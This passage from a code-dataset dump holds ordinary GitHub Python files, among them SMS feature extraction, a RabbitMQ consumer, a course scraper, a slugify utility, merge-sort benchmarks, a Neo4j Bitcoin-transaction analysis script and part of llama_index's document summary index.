3):\n break\n for verb in present_verbs:\n if(verb in relation[0][1]):\n sent_tense = 1\n found_verb = relation[0][0]\n elif(verb in relation[2][1]):\n sent_tense = 1\n found_verb = relation[2][0]\n if(sent_tense != 3):\n break\n if(sent_tense == 1):\n for relation in dependency_relations[0]:\n if(relation[0][0] == found_verb):\n if(relation[2][1] in past_verbs):\n sent_tense = 0\n elif(relation[2][1] in future_verbs):\n sent_tense = 2\n return (sent_tense)\n\n\ndef past(x,dependency_tree, dependency_relations):\n if(tense(x,dependency_tree, dependency_relations) == 0):\n return 1\n return 0\n\n\ndef present(x,dependency_tree, dependency_relations):\n if(tense(x,dependency_tree, dependency_relations) == 1):\n return 1\n return 0\n\n\ndef future(x,dependency_tree, dependency_relations):\n if(tense(x,dependency_tree, dependency_relations) == 2):\n return 1\n return 0\n\n\ndef validate_wsd(word, sent):\n sense = lesk(sent.split(), word).name()\n sets = wsdf[wsdf['Word']==word]['Synset'].values[0] \n return sense in sets.split(',')\n\n\ndef pos_feat(names, feature_set, dataf):\n pos_file = open(dataf+'_pos', 'r')\n sents = [l.strip() for l in pos_file]\n present_verbs = ['VB', 'VBG', 'VBP', 'VBZ']\n past_verbs = ['VBD', 'VBN']\n verb_feats = np.empty((0,2))\n for s in sents:\n tokens = s.split()\n tag_list = []\n for t in tokens:\n try:\n tag = t.split('_')[1]\n tag_list.append(tag)\n except:\n pass\n feats = []\n for pv in present_verbs:\n if pv in tag_list and len(feats) == 0:\n feats.append(1)\n if len(feats) == 0:\n feats.append(0)\n\n for pv in past_verbs:\n if pv in tag_list and len(feats) == 1:\n feats.append(1)\n if len(feats) == 1:\n feats.append(0)\n \n verb_feats = np.append(verb_feats, [feats], axis=0)\n names = np.append(names, ['present', 'past'])\n try:\n feature_set = np.hstack((feature_set, verb_feats))\n except:\n pdb.set_trace()\n return names, feature_set\n\n\ndef gen_feat_arr(X, feature_names, dependency_tree, dependency_relations):\n feature_set = np.empty((0,len(feature_names)))\n # print(len(X),len(dependency_tree),len(dependency_relations))\n for i in range(len(X)):\n features = np.array(list(map(lambda f: f(X[i],dependency_tree[i],dependency_relations[i]), feature_names)))\n feature_set = np.append(feature_set,[features], axis=0)\n return feature_set\n\n\ndef handle_chunks(dataf):\n chunk_file = open(dataf+'_chunk', 'r')\n sents = [l.strip() for l in chunk_file]\n chunk_f = list(map(lambda f: do_chunk(f), sents[1:-1]))\n return np.array(chunk_f)\n\n\ndef gen_msg_features(X, dependency_tree, dependency_relations, dataf = '', procs = 1):\n X = list(map(lambda a:a.lower().strip('., '), X))\n X = list(map(lambda a:re.sub('[\\.]', ' . ',a), X))\n #X = list(map(lambda a:re.sub('[\\']', ' ',a), X))\n X = list(map(lambda a:re.sub('[,]', ' , ',a), X))\n #X = list(map(lambda a:re.sub('\\s+', '\\s',a), X))\n feature_names = [request_immedi, puncts, msg_len_char, msg_len_word,\n call, numeric,past,present,future]\n top_level = [emer, todo]\n second_level = [date, meet_suggest]\n feature_names += top_level\n\n names = np.array(list(map(lambda a: a.__qualname__, feature_names)))\n \n feature_set = gen_feat_arr(X, feature_names, dependency_tree, dependency_relations)\n #names, feature_set = pos_feat(names, feature_set, dataf)\n \n # handle Chunking\n #names = np.append(names, 'chunk_NP')\n #names = np.append(names, 'chunk_VP')\n #chunk_f = handle_chunks(dataf)\n #feature_set = np.append(feature_set, chunk_f[:,0].reshape((feature_set.shape[0],1)), axis=1)\n #feature_set = np.append(feature_set, chunk_f[:,1].reshape((feature_set.shape[0],1)), axis=1)\n\n scaler = StandardScaler(with_mean=False)\n feature_set = scaler.fit_transform(feature_set)\n return [names, feature_set]\n\n","repo_name":"RisenAgain/sms-classification","sub_path":"features.py","file_name":"features.py","file_ext":"py","file_size_in_byte":14211,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"20679185485","text":"import rabbitpy\n\nwith rabbitpy.Connection('amqp://guest:guest@localhost:5672/%2f') as conn:\n with conn.channel() as channel:\n queue = rabbitpy.Queue(channel, 'example')\n queue.declare()\n queue.bind('test_exchange')\n \n # Exit on CTRL-C\n try:\n # Consume the message\n for message in queue:\n message.pprint(True)\n message.ack()\n\n except KeyboardInterrupt:\n print('Exited consumer')\n","repo_name":"olafurjohannsson/Guardian","sub_path":"Consumer/rabbitmq_consumer.py","file_name":"rabbitmq_consumer.py","file_ext":"py","file_size_in_byte":493,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"60"} +{"seq_id":"32647025236","text":"import csv\nimport requests\nfrom bs4 import BeautifulSoup\n\nBASE_URL = 'https://www.bu.edu/phpbin/course-search/search.php'\n\ncolleges = [\n\t'CAS', 'CFA', 'CGS',\n\t'COM', 'ENG', 'EOP',\n\t'GMS', 'GRS', 'KHC',\n\t'LAW', 'MED', 'MET',\n\t'OTP', 'PDP', 'QST',\n\t'SAR', 'SDM', 'SED',\n\t'SHA', 'SPH', 'SSW',\n\t'STH', 'XRG',\n]\n\nhub_mapping = {\n\t'PAHI': ['A', 'B', 'C'],\n\t'SSI': ['D', 'F', 'E', 'P'],\n\t'QR': ['G', 'H'],\n\t'DCEGC': ['I', 'J', 'K'],\n\t'C': ['L', 'M', '6', 'N', 'O'],\n\t'IT': ['1', '2', '3', '4']\n}\n\nhub_subarea_mapping = {\n\t'A': 'PILM',\n\t'B': 'AE',\n\t'C': 'HC',\n\t'D': 'SCI-I',\n\t'F': 'SCI-II',\n\t'E': 'SOC-I',\n\t'P': 'SOC-II',\n\t'G': 'QR-I',\n\t'H': 'QR-II',\n\t'I': 'IC',\n\t'J': 'GCIL',\n\t'K': 'ER',\n\t'L': 'FYWS',\n\t'M': 'WRI',\n\t'6': 'WIC',\n\t'N': 'OSC',\n\t'O': 'DME',\n\t'1': 'CT',\n\t'2': 'RIL',\n\t'3': 'TC',\n\t'4': 'CI'\n}\n\ndef hub_request(hub_area_subtype):\n\tr = requests.post(BASE_URL, data = {\n\t\t'page': 0,\n\t\t'pagesize': -1,\n\t\t'adv': 1,\n\t\t'yearsem_adv': '2019-SPRG',\n\t\t'credits': '*',\n\t\t'hub': hub_area_subtype,\n\t\t'colleges': colleges\t\n\t})\n\treturn r\n\ndef fetch_hub_classes(response):\n\ttext = response.text\n\tparsed_html = BeautifulSoup(text, 'html.parser')\n\tresult_divs = parsed_html.find_all('div', class_='result')\n\n\toutput_data = []\n\tfor result_div in result_divs:\n\t\ttitle_and_course_number = result_div.find_all('div', class_='title')[0]\n\t\ttitle_and_course_number_split = title_and_course_number.text.split(' ')\n\t\ttitle_number = int(title_and_course_number_split[2])\n\t\tcourse = ' '.join(title_and_course_number_split[4:]).encode('utf-8')\n\n\t\tdesc = result_div.find_all('div', class_='description')[0].text\n\t\tdesc_end_index = desc.find('[')\n\t\tdesc = desc[:desc_end_index].strip().encode('utf-8')\n\n\t\toutput_data.append((\n\t\t\ttitle_number,\n\t\t\tcourse,\n\t\t\tdesc\n\t\t))\n\n\treturn output_data\n\nfor hub_area in hub_mapping:\n\tfor hub_area_subtype in hub_mapping[hub_area]:\n\t\tprint('Working on {}'.format(hub_area_subtype))\n\t\tresponse = hub_request(hub_area_subtype)\n\t\toutput = fetch_hub_classes(response)\n\n\t\tprint('There are {} rows'.format(len(output)))\n\t\tdata_filename = 'data/{}_{}.csv'.format(hub_area, hub_area_subtype)\n\t\twith open(data_filename, mode='w') as f:\n\t\t\tdata_writer = csv.writer(f, delimiter=',', quotechar='\"', quoting=csv.QUOTE_MINIMAL)\n\t\t\tfor output_line in output:\n\t\t\t\tarea_subarea_row = [hub_area, hub_subarea_mapping[hub_area_subtype]] \n\t\t\t\tdata_row = [output_element for output_element in output_line]\n\t\t\t\tdata_writer.writerow(area_subarea_row + data_row)\n\n","repo_name":"moderatelyfunctional/BuHub","sub_path":"hub_scraper/scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":2446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"30378459374","text":"# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution(object):\n def maxDepth(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: int\n \"\"\"\n\n if not root:\n return 0\n\n self.maxdepth = 0\n def dfs(ptr, depth):\n is_leaf = True\n if ptr.left:\n dfs(ptr.left, depth + 1)\n is_leaf = False\n if ptr.right:\n dfs(ptr.right, depth + 1)\n is_leaf = False\n if is_leaf:\n self.maxdepth = max(self.maxdepth, depth)\n\n dfs(root, 1)\n return self.maxdepth\n","repo_name":"MtTsai/Leetcode","sub_path":"python/104.maximum_depth_of_binary_tree.py","file_name":"104.maximum_depth_of_binary_tree.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"71366100671","text":"from typing import Optional\n\nfrom histore.archive.manager.base import ArchiveManager\nfrom histore.archive.manager.db.base import DBArchiveManager\nfrom histore.archive.manager.db.database import DB\nfrom histore.archive.manager.fs import FileSystemArchiveManager\n\n\nclass PersistentArchiveManager(ArchiveManager):\n \"\"\"Create an instance of a persistent archive manager. There currenty are\n two implementations for persistent archive manager: (i) the file-system\n archive manager, and (ii) the archive manager that maintains archive\n descriptors in a relational databaase.\n \"\"\"\n def __new__(\n cls, basedir: Optional[str] = None, dbconnect: Optional[str] = None,\n create: Optional[bool] = False\n ):\n \"\"\"Create an instance of a persistent archive manager. If the database\n connector string is given an instance of the DBArchiveManager is\n returned. Otherwise, an instance of the FileSystemArchiveManager is\n returned\n\n Parameters\n ----------\n basedir: string, default=None\n Path to dorectory on disk where archives are maintained.\n db: histore.archive.manager.db.database.DB, default=None\n Database connection object.\n create: bool, default=False\n Create a fresh database and delete all files in the base directory\n if True.\n \"\"\"\n if dbconnect is not None:\n return DBArchiveManager(\n basedir=basedir,\n db=DB(connect_url=dbconnect),\n create=create\n )\n else:\n return FileSystemArchiveManager(basedir=basedir, create=create)\n","repo_name":"heikomuller/histore","sub_path":"histore/archive/manager/persist.py","file_name":"persist.py","file_ext":"py","file_size_in_byte":1657,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"22914043028","text":"__version__ = '0.0.7'\n\n__all__ = ['slugify']\n\nimport re\nimport unicodedata\nimport types\nimport sys\nfrom htmlentitydefs import name2codepoint\n#from unidecode import unidecode\n\n# character entity reference\nCHAR_ENTITY_REXP = re.compile('&(%s);' % '|'.join(name2codepoint))\n\n# decimal character reference\nDECIMAL_REXP = re.compile('&#(\\d+);')\n\n# hexadecimal character reference\nHEX_REXP = re.compile('&#x([\\da-fA-F]+);')\n\nREPLACE1_REXP = re.compile(r'[\\']+')\nREPLACE2_REXP = re.compile(r'[^-a-z0-9]+')\nREMOVE_REXP = re.compile('-{2,}')\n\ndef smart_truncate(string, max_length=0, word_boundaries=False, separator=' '):\n \"\"\" Truncate a string \"\"\"\n\n string = string.strip(separator)\n\n if not max_length:\n return string\n\n if len(string) < max_length:\n return string\n\n if not word_boundaries:\n return string[:max_length].strip(separator)\n\n if separator not in string:\n return string[:max_length]\n\n truncated = ''\n for word in string.split(separator):\n if word:\n next_len = len(truncated) + len(word) + len(separator)\n if next_len <= max_length:\n truncated += '{0}{1}'.format(word, separator)\n if not truncated:\n truncated = string[:max_length]\n return truncated.strip(separator)\n\n\ndef slugify(text, entities=True, decimal=True, hexadecimal=True, max_length=0, word_boundary=False, separator='-'):\n \"\"\" Make a slug from the given text \"\"\"\n\n # text to unicode\n if type(text) != types.UnicodeType:\n text = unicode(text, 'utf-8', 'ignore')\n\n # decode unicode ( 影師嗎 = Ying Shi Ma)\n # text = unidecode(text)\n\n # text back to unicode\n if type(text) != types.UnicodeType:\n \ttext = unicode(text, 'utf-8', 'ignore')\n\n # character entity reference\n if entities:\n text = CHAR_ENTITY_REXP.sub(lambda m: unichr(name2codepoint[m.group(1)]), text)\n\n # decimal character reference\n if decimal:\n try:\n text = DECIMAL_REXP.sub(lambda m: unichr(int(m.group(1))), text)\n except:\n pass\n\n # hexadecimal character reference\n if hexadecimal:\n try:\n text = HEX_REXP.sub(lambda m: unichr(int(m.group(1), 16)), text)\n except:\n pass\n\n # translate\n text = unicodedata.normalize('NFKD', text)\n if sys.version_info < (3,):\n \ttext = text.encode('ascii', 'ignore')\n\n # replace unwanted characters\n text = REPLACE1_REXP.sub('', text.lower()) # replace ' with nothing instead with -\n text = REPLACE2_REXP.sub('-', text.lower())\n\n # remove redundant -\n text = REMOVE_REXP.sub('-', text).strip('-')\n\n # smart truncate if requested\n if max_length > 0:\n text = smart_truncate(text, max_length, word_boundary, '-')\n\n if separator != '-':\n text = text.replace('-', separator)\n\n return text\n","repo_name":"conda-archive/conda-launch","sub_path":"ipyapp/slugify.py","file_name":"slugify.py","file_ext":"py","file_size_in_byte":2835,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"60"} +{"seq_id":"13893684765","text":"import json\nimport math\n\nimport penn\n\n\n###############################################################################\n# Create figure\n###############################################################################\n\n\ndef from_evaluations(names, evaluations, output_file):\n \"\"\"Plot periodicity thresholds\"\"\"\n import matplotlib.pyplot as plt\n\n # Create plot\n figure, axis = plt.subplots(figsize=(7, 3))\n\n # Make pretty\n axis.spines['top'].set_visible(False)\n axis.spines['right'].set_visible(False)\n axis.spines['bottom'].set_visible(False)\n axis.spines['left'].set_visible(False)\n ticks = [0., .25, .5, .75, 1.]\n axis.set_xlim([0., 1.])\n axis.get_xaxis().set_ticks(ticks)\n axis.get_yaxis().set_ticks(ticks)\n axis.tick_params(axis=u'both', which=u'both',length=0)\n axis.set_xlabel('Unvoiced threshold')\n axis.set_ylabel('F1')\n for tick in ticks:\n axis.axhline(tick, color='gray', linestyle='--', linewidth=.8)\n\n # Iterate over evaluations to plot\n for name, evaluation in zip(names, evaluations):\n directory = penn.EVAL_DIR / evaluation\n\n # Load results\n with open(directory / 'overall.json') as file:\n results = json.load(file)['aggregate']\n with open(directory / 'periodicity.json') as file:\n optimal = json.load(file)['entropy']\n\n # Get thresholds and corresponding F1 values\n x, y = zip(*\n [(key, val) for key, val in results.items() if key.startswith('f1')])\n x = [float(item[3:]) for item in x] + [1]\n y = [0 if math.isnan(item) else item for item in y] + [0]\n\n # Plot\n line = axis.plot(x, y, label=name)\n color = line[0].get_color()\n axis.plot(optimal['threshold'], optimal['f1'], marker='*', color=color)\n\n # Add legend\n axis.legend(frameon=False, loc='upper right')\n\n # Save\n figure.savefig(output_file, bbox_inches='tight', pad_inches=0, dpi=300)\n","repo_name":"interactiveaudiolab/penn","sub_path":"penn/plot/threshold/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":1948,"program_lang":"python","lang":"en","doc_type":"code","stars":166,"dataset":"github-code","pt":"60"} +{"seq_id":"8007077160","text":"from algorithms.sort.insertion_sort import insertion_sort\n\n\ndef merge_sort(arr):\n n = len(arr)\n if n <= 1:\n return arr\n mid = n // 2\n\n return merge(merge_sort(arr[:mid]), merge_sort(arr[mid:]))\n\n\ndef merge_insertion_sort(arr):\n n = len(arr)\n\n if n <= 1:\n return arr\n\n if n < 15:\n insertion_sort(arr)\n return arr\n\n mid = len(arr) // 2\n\n return merge(merge_insertion_sort(arr[:mid]), merge_insertion_sort(arr[mid:]))\n\n\ndef merge_insertion_check_sort(arr):\n n = len(arr)\n\n if n <= 1:\n return arr\n\n if n <= 15:\n insertion_sort(arr)\n return arr\n\n mid = len(arr) // 2\n\n left = merge_insertion_sort(arr[:mid])\n right = merge_insertion_sort(arr[mid:])\n\n return merge(left, right) if left[-1] > right[0] else left + right\n\n\ndef merge(left, right):\n result = []\n while len(left) and len(right):\n result.append(\n left.pop(0) if left[0] < right[0] else right.pop(0)\n )\n\n return result + left + right\n\n\nif __name__ == '__main__':\n from script_benchmark_tools import Script, run_scripts_with_n_sized_list\n from script_benchmark_tools.benchmark_report import generate_benchmark_report\n\n filename = 'merge_sort_algorithm'\n\n benchmark_data = {\n 'title': 'Merge Sort Benchmark Results',\n 'proof_data': [6, 3, 1, 2, 5, 4],\n 'filename': filename,\n 'n_steps': [3, 5, 10, 100, 500, 1000, 10000, 25000],\n 'benchmark': run_scripts_with_n_sized_list,\n 'scripts': (\n Script(merge_sort, 'sarcoma'),\n Script(merge_insertion_sort, 'sarcoma'),\n Script(merge_insertion_check_sort, 'sarcoma'),\n ),\n 'use_ansi': True\n }\n\n output, plot = generate_benchmark_report(**benchmark_data)\n\n print(output)\n plot.show()\n","repo_name":"OrderAndCh4oS/algorithms-python","sub_path":"algorithms/sort/merge_sort.py","file_name":"merge_sort.py","file_ext":"py","file_size_in_byte":1821,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"3024952368","text":"import logging\nimport json\n\nfrom os.path import exists\nfrom Plot import Plot\nfrom App import App\nfrom Unpacker import Unpacker\nfrom Blind_logic import Blind_logic\nfrom threading import Thread\nfrom neo4j import GraphDatabase\nfrom neo4j.exceptions import ServiceUnavailable\n\n\"\"\"\nThis program is used to perform an analisis on some Bitcoin transaction, given in csv format.\nI used Neo4j to create a graph database with node of type (Transaction, Block, Input, Output, User)\n\nThe relationships between nodes are as follow:\n\n############\n- (Input -> Transaction) input that appear in a transaction\n- (Input -> Output) inputs that appear in the same transaction where an output appears\n\n- (Output -> Transaction) output that appear in a transaction\n- (Output -> Input) output used as input (different transactions)\n- (Output -> User) output directed to an user\n\n- (Transaction -> Block) transactions that appear in a block\n\n- (User -> Input) user that emitted bitcoin to an user\n- (User -> User) shows the bitcoin flow through addresses\n############\n\nThe Input dataset has been completed with the bitcoin amout: \nit was enough to find the output from which the input was created using the foreign key\n\nThe Transaction dataset has been completed calculating the fee for each transaction as follow:\nfee = I(amount) - O(amount)\n\nThe User dataset has been created as follow:\nfor each pk that appear in (Input U Output) create a new User.\nthe user balance at the last block has been calculated as the sum of the User's incoming outputs \nminus the sum of the outcoming inputs:\n\nB(u) = O(u) - I(u)\n\nthroughout the dataset were find the corrupted datas: \n- Negative values as output\n- Outputs with too much bitcoins with respect to the input they come from\n- Doublespended bitcoins (outputs used in more than one input)\n- inputs emitted from addresses that never received the related amount\n\nwith the dataset thus created it is possible to perform more analyses \nthan those suggested:\n\n- We can consider the whole richness circulating in the blockchain at the last block\nas the total sum emitted from the coinbase - total fees to see:\n--- how many Bitcoins the system get back with respect to how many it emitted\n--- the distibution of richness among the user, with the richness formalized as the amount of bitcoin owned by a user\n--- Gini coefficient \n\nI would have liked to go deeper into the analysis, but I did not have enough time\n\"\"\"\n\n\napp = App()\n\nwhile True:\n print(\n \"\"\"\n Enter a command:\n\n - 't' -> Unpack the transaction and populate the DB with the nodes\n - 'o' -> Unpack the outputs, populate and create relationship with transactions\n - 'i' -> Unpack the inputs, populate and create relationship with transactions\n - 'ot' -> Create relationships IS_OUTPUT_OF (link the output to the transaction it is part of)\n - 'it' -> Create relationships IS_INPUT_OF (link the input to the transaction it is part of)\n - 'oi' -> Create relationships USED_AS_INPUT (link the previous output to a new input)\n - 'io' -> Create relationships USED_AS_OUTPUT (link the input to the outputs that are in the same transaction)\n - 'i_ids' -> Return a list of input ids\n - 'val' -> Update the values of the output nodes\n - 'check' -> Check the dataset correctness\n - 'UTXO' -> Return the list of UTXO outputs\n - 'user' -> Create user nodes given their pubkey\n - 'track' -> Create relationship between users and outputs (s)he appears in\n - 'track2' -> Create relationship between users and inputs (s)he appears in\n - 'balances' -> Compute all the balances\n - 'size' -> Compute the size and the distribution of the blocks\n - 'outcons' -> Find the inconsistent output (without an input)\n - 'amount' -> Calculate and plot the transacitons amount distribution\n - 'fees' -> Plot the fees distribution\n\n - 'q' -> Quit \n \"\"\"\n )\n\n command = str(input())\n \n if command == 'q':\n print('Bye!')\n break\n\n\n elif command == 't':\n transactions = Unpacker.unpack_transactions()\n app.create_blocks_of_transactions(transactions) #method to populate the bd with transactions\n \n elif command == 'o':\n outputs = Unpacker.unpack_outputs()\n app.create_output_nodes(outputs)\n\n elif command == 'i':\n inputs = Unpacker.unpack_inputs()\n app.create_input_nodes(inputs)\n\n elif command == 'val':\n outputs = Unpacker.unpack_outputs()\n app.set_value(outputs)\n\n elif command == 'fees':\n\n res = app.calculate_fees()\n invalid_transactions = []\n with open('huge.json', 'r') as h:\n invalid_transactions = json.load(h)['invalid_transactions']\n Plot.plot_fees(res, invalid_transactions)\n\n elif command == 'flow':\n\n app.exec_query(\"match (u1:User)-[]->(i:Input)-[]->(o:Output)-[]->(u2:User), (u1)-[f:FLOW]->(u2) set f.amount = 0\", None)\n app.exec_query(\"match (u1:User)-[]->(i:Input)-[]->(o:Output)-[]->(u2:User), (u1)-[f:FLOW]->(u2) set f.amount = f.amount + o.value\", None)\n\n elif command == 'amount':\n\n if exists('huge.json'):\n\n with open('huge.json', 'r') as h:\n dict = json.load(h)\n\n outputs = Unpacker.unpack_outputs()\n Blind_logic.transaction_amount(outputs, dict)\n \n else:\n print(\"You have to exec 'check' command beore!\")\n\n elif command == 'check':\n\n inputs = Unpacker.unpack_inputs()\n outputs = Unpacker.unpack_outputs()\n transactions = Unpacker.unpack_transactions()\n\n\n Blind_logic.check(inputs, outputs, transactions)\n\n elif command == 'ot':\n query_rel = \"\"\"\n match\n (o:Output),\n (t:Transaction)\n where o.trx_id = t.id\n merge (o)-[r:IS_OUTPUT_OF]->(t)\n \"\"\"\n app.exec_query(query_rel, None)\n\n elif command == 'i_ids':\n inputs = Unpacker.unpack_inputs()\n ids = Blind_logic.find_input_ids(inputs)\n print(ids)\n\n elif command == 'UTXO':\n inputs = Unpacker.unpack_inputs()\n outputs = Unpacker.unpack_outputs()\n utxo = Blind_logic.find_input(inputs, outputs)\n app.exec_query(\"match (o:Output) set o.utxo = 0\", None)\n app.exec_query(\"match (o:Output) where o.o_id in $param set o.utxo = 1\", utxo)\n\n elif command == 'wealth':\n\n coinbase_emitted, transactions, users = app.wealth()\n invalid_transactions = []\n with open('huge.json', 'r') as h:\n invalid_transactions = json.load(h)['invalid_transactions']\n\n Blind_logic.compute_wealth_distr(coinbase_emitted, transactions, users, invalid_transactions)\n\n\n elif command == 'balances':\n\n pubkeys = Blind_logic.find_pubkeys('', '')\n for pk in pubkeys: \n if pk != 0:\n app.exec_query(\"match (u:User {pk: $param}) set u.balance = 0\", pk)\n app.exec_query(\n \"\"\"\n match (u:User {pk: $param})\n match (u)-[s:SENT]->(i:Input) \n set u.balance = u.balance - i.value\n \"\"\", pk) \n\n app.exec_query(\n \"\"\"\n match (u:User {pk: $param})\n match (o:Output)-[r:RECEIVED]->(u) \n set u.balance = u.balance + o.value\n \"\"\", pk) \n\n elif command == 'it':\n query_rel = \"\"\"\n match\n (i:Input),\n (t:Transaction)\n where i.trx_id = t.id\n merge (i)-[r:IS_INPUT_OF]->(t)\n \"\"\"\n app.exec_query(query_rel, None)\n\n elif command == 'oi':\n query_rel = \"\"\"\n match\n (i:Input),\n (o:Output)\n where i.o_id = o.o_id\n merge (o)-[r:USED_AS_INPUT]->(i)\n \"\"\"\n app.exec_query(query_rel, None)\n\n elif command == 'user':\n \n inputs = Unpacker.unpack_inputs()\n outputs = Unpacker.unpack_outputs()\n pubkeys = Blind_logic.find_pubkeys(inputs, outputs)\n for pk in pubkeys:\n app.exec_query(\"\"\"merge (u:User {pk: $param, balance: 0})\"\"\", pk)\n\n elif command == 'size':\n transactions = Unpacker.unpack_transactions()\n sizes = Blind_logic.compute_blocks_size(transactions)\n\n elif command == 'track':\n\n outputs = Unpacker.unpack_outputs()\n o_ids = Blind_logic.build_list(outputs, 0)\n print('im here')\n try:\n session = app.create_connection()\n for o in o_ids:\n print('did 1')\n create_rel = \"\"\"\n match (o:Output {o_id: $param})\n where o.o_id <> 0\n merge (u:User {pk: o.pub_key, balance: 0})\n merge (o)-[r:RECEIVED]->(u)\n \"\"\"\n app.exec_query(create_rel, o)\n except:\n session.close()\n\n session.close()\n \n elif command == 'track2':\n\n inputs = Unpacker.unpack_inputs()\n i_ids = Blind_logic.build_list(inputs, 0)\n print('im here track2')\n try:\n session = app.create_connection()\n\n for i in i_ids:\n print('did it input')\n create_rel = \"\"\"\n match (i:Input {i_id: $param})\n where i.o_id <> 0\n merge (u:User {pk: i.sig_id, balance: 0})\n merge (i)<-[r:SENT]-(u)\n \"\"\"\n app.exec_query(create_rel, i)\n except:\n session.close()\n\n session.close()\n\n elif command == 'coinbase':\n \n if exists('huge.json'):\n with open('huge.json', 'r') as h:\n dict = json.loads(h)\n \n illegal_outputs = dict['invalid_output_pk'] + dict['output_without_value'] + dict['double_spended']\n inputs = Unpacker.unpack_inputs()\n outputs = Unpacker.unpack_outputs()\n Blind_logic.build_users(inputs, outputs, illegal_outputs)\n else:\n print(\"execute 'check' command before!\")\n\n elif command == 'io':\n query_rel = \"\"\"\n match\n (i:Input),\n (o:Output)\n where i.trx_id = o.trx_id\n merge (i)-[r:USED_AS_OUTPUT]->(o)\n \"\"\"\n app.exec_query(query_rel, None)\n","repo_name":"dufnill/P2P","sub_path":"BTC/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":10708,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"20311860769","text":"from flask import render_template, request, Blueprint\nfrom blog.models import Posts\n\nmain = Blueprint('main', __name__)\n\n@main.route(\"/\")\ndef home():\n page = request.args.get('page',1,type=int)\n posts = Posts.query.order_by(Posts.time.desc()).paginate(page=page , per_page=5)\n return render_template(\"home.html\", title= \"Home\", posts = posts)\n\n","repo_name":"Rih348/FlaskBlog","sub_path":"blog/main/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"16169333238","text":"\"\"\"Document summary index.\n\nA data structure where LlamaIndex stores the summary per document, and maps\nthe summary to the underlying Nodes.\nThis summary can be used for retrieval.\n\n\"\"\"\nimport logging\nfrom collections import defaultdict\nfrom enum import Enum\nfrom typing import Any, Dict, Optional, Sequence, Union, cast\n\nfrom llama_index.data_structs.document_summary import IndexDocumentSummary\nfrom llama_index.indices.base import BaseIndex\nfrom llama_index.indices.base_retriever import BaseRetriever\nfrom llama_index.indices.query.response_synthesis import ResponseSynthesizer\nfrom llama_index.indices.query.schema import QueryBundle\nfrom llama_index.indices.service_context import ServiceContext\nfrom llama_index.response.schema import Response\nfrom llama_index.schema import (\n BaseNode,\n NodeWithScore,\n NodeRelationship,\n RelatedNodeInfo,\n TextNode,\n)\nfrom llama_index.storage.docstore.types import RefDocInfo\n\nlogger = logging.getLogger(__name__)\n\n\nDEFAULT_SUMMARY_QUERY = (\n \"Give a concise summary of this document. Also describe some of the questions \"\n \"that this document can answer. \"\n)\n\n\nclass DocumentSummaryRetrieverMode(str, Enum):\n DEFAULT = \"default\"\n EMBEDDING = \"embedding\"\n\n\nDSRM = DocumentSummaryRetrieverMode\n\n\nclass DocumentSummaryIndex(BaseIndex[IndexDocumentSummary]):\n \"\"\"Document Summary Index.\n\n Args:\n summary_template (Optional[SummaryPrompt]): A Summary Prompt\n (see :ref:`Prompt-Templates`).\n\n \"\"\"\n\n index_struct_cls = IndexDocumentSummary\n\n def __init__(\n self,\n nodes: Optional[Sequence[BaseNode]] = None,\n index_struct: Optional[IndexDocumentSummary] = None,\n service_context: Optional[ServiceContext] = None,\n response_synthesizer: Optional[ResponseSynthesizer] = None,\n summary_query: str = DEFAULT_SUMMARY_QUERY,\n **kwargs: Any,\n ) -> None:\n \"\"\"Initialize params.\"\"\"\n self._response_synthesizer = (\n response_synthesizer\n or ResponseSynthesizer.from_args(service_context=service_context)\n )\n self._summary_query = summary_query or \"summarize:\"\n super().__init__(\n nodes=nodes,\n index_struct=index_struct,\n service_context=service_context,\n **kwargs,\n )\n\n def as_retriever(\n self,\n retriever_mode: Union[str, DSRM] = DSRM.DEFAULT,\n **kwargs: Any,\n ) -> BaseRetriever:\n \"\"\"Get retriever.\n\n Args:\n retriever_mode (Union[str, DocumentSummaryRetrieverMode]): A retriever mode.\n\n \"\"\"\n from llama_index.indices.document_summary.retrievers import (\n DocumentSummaryIndexEmbeddingRetriever,\n DocumentSummaryIndexRetriever,\n )\n\n DSIR = DocumentSummaryIndexRetriever\n DSIER = DocumentSummaryIndexEmbeddingRetriever\n\n if retriever_mode == DSRM.DEFAULT:\n return DSIR(self, **kwargs)\n elif retriever_mode == DSRM.EMBEDDING:\n return DSIER(self, **kwargs)\n else:\n raise ValueError(f\"Unknown retriever mode: {retriever_mode}\")\n\n def get_document_summary(self, doc_id: str) -> str:\n \"\"\"Get document summary by doc id.\n\n Args:\n doc_id (str): A document id.\n\n \"\"\"\n if doc_id not in self._index_struct.doc_id_to_summary_id:\n raise ValueError(f\"doc_id {doc_id} not in index\")\n summary_id = self._index_struct.doc_id_to_summary_id[doc_id]\n return self.docstore.get_node(summary_id).get_content()\n\n def _add_nodes_to_index(\n self, index_struct: IndexDocumentSummary, nodes: Sequence[BaseNode]\n ) -> None:\n \"\"\"Add nodes to index.\"\"\"\n doc_id_to_nodes = defaultdict(list)\n for node in nodes:\n if node.ref_doc_id is None:\n raise ValueError(\n \"ref_doc_id of node cannot be None when building a document \"\n \"summary index\"\n )\n doc_id_to_nodes[node.ref_doc_id].append(node)\n\n summary_node_dict = {}\n for doc_id, nodes in doc_id_to_nodes.items():\n print(f\"current doc id: {doc_id}\")\n nodes_with_scores = [NodeWithScore(node=n) for n in nodes]\n # get the summary for each doc_id\n summary_response = self._response_synthesizer.synthesize(\n 